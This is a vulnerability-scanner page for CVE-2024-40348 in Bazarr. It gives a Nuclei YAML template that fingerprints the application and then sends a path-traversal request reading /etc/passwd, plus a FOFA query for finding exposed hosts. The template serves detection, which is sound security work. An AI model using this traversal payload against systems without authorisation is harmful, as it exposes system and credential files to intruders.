Bazarr < 1.4.3 - Arbitrary File Read

ID: CVE-2024-40348

Severity: high

Author: s4e-io

Tags: cve,cve2024,bazarr,lfi

Description

Bazarr 1.4.3 and earlier versions have a arbitrary file read vulnerability.

YAML Source

id: CVE-2024-40348

info:
  name: Bazarr < 1.4.3 - Arbitrary File Read
  author: s4e-io
  severity: high
  description: |
    Bazarr 1.4.3 and earlier versions have a arbitrary file read vulnerability.
  reference:
    - https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md
    - https://www.bazarr.media/
    - https://github.com/bigb0x/CVE-2024-40348
  classification:
    epss-score: 0.00043
    epss-percentile: 0.09329
  metadata:
    verified: true
    max-request: 2
    vendor: morpheus65535
    product: bazarr
    fofa-query: title=="Bazarr" && icon_hash="-1983413099"
  tags: cve,cve2024,bazarr,lfi

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"

    matchers:
      - type: word
        part: body
        words:
          - "<title>Bazarr</title>"
          - 'content="Bazarr'
          - "window.Bazarr"
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210084696c2ae82a8349b9e1a30efeced77cdc4c478fa88302f3e4936c804c5b4e4802205ae0ef6a4cd569c62bdb704d39072abf9449d50be9679990c3677c45ad86792c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-40348.yaml"

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